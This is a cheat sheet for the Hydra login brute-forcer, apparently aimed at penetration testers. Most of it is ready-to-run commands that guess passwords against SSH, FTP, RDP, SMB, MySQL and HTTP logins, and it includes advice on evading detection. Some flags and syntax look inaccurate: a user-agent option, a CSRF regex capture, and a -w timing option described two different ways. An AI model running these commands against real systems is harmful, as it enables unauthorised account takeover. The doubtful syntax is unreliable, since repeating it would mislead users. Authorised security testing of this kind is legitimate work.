Hydra (Brute-Force Password Cracking Tool)

Hydra (Password Cracker)

Hydra is a parallelized network login cracker that supports many protocols (SSH, FTP, HTTP/S, SMB, RDP, MySQL, SMTP, etc.). This is a(n) article / guide on Hydra.

Basic Syntax

bash

hydra -l <username> -P <wordlist> <protocol>://<target>

• -l : single username

• -L : username wordlist

• -p : single password

• -P : password wordlist

• -t : threads (default 16)

• -v / -V : verbose / show each attempt

• -f / -F : stop after first (per host) credential found

• -s <port> : specify non-default port

Common Protocols

SSH

bash

hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100

FTP

bash

hydra -l ftpuser -P passwords.txt ftp://192.168.1.100

RDP

bash

hydra -l administrator -P passwords.txt rdp://192.168.1.100

SMB

bash

hydra -l admin -P passwords.txt smb://192.168.1.100

HTTP POST Form

bash

hydra -l admin -P passwords.txt 192.168.1.100 http-post-form "/login:user=^USER^&pass=^PASS^:Invalid credentials"

MySQL

bash

hydra -l root -P passwords.txt mysql://192.168.1.100

Targeting Multiple Users

Use -L instead of -l:

bash

hydra -L usernames.txt -P passwords.txt ssh://192.168.1.100

Rate Limiting & Threading

• Start with -t 4 to avoid account lockouts / rate limiting

• Use -w 30 to set a 30-second wait between attempts

• Bypass detection with --http-user-agent or by randomizing timing

Useful Flags

Flag	Example	Purpose
-I	-I	Ignore existing restore file
-e nsr	-e nsr	Try null, same-as-user, reversed
-M	-M targets.txt	Attack multiple hosts
-o	-o results.txt	Output found credentials
-x	-x 6:8:a	Brute-force (min:max:charset)
-W	-W 5	Wait 5s per login (rate limiting)

Common Issues & Fixes

• "Connection refused" → Service isn't running or firewall is blocking

• "Too many authentication failures" → Reduce threads with -t 4

• "No password found" → Wordlist doesn't contain the password, or account lockout triggered

• Slow → Increase threads (-t 32), but watch for rate limiting

• Timeout → Add -w 10 for longer timeout between attempts

Practical Examples

Brute-force RDP with domain users:

bash

hydra -l "DOMAIN\\administrator" -P passwords.txt rdp://10.0.0.50

HTTP basic auth:

bash

hydra -l admin -P passwords.txt http-get://192.168.1.100/admin

HTTP POST with CSRF token handling:

bash

hydra -l admin -P passwords.txt 192.168.1.100 http-post-form "/login:user=^USER^&pass=^PASS^&csrf=^CSRF^:Invalid:csrf=([a-z0-9]+)"

Crack against multiple targets from a file:

bash

hydra -L users.txt -P passwords.txt -M hosts.txt ssh

Reporting

For your findings, document:

• Service & port tested

• Accounts tested (or username list size)

• Password wordlist used (size, source)

• Rate limiting observed

• Credentials found (if any)

• Lockout events triggered (important for client)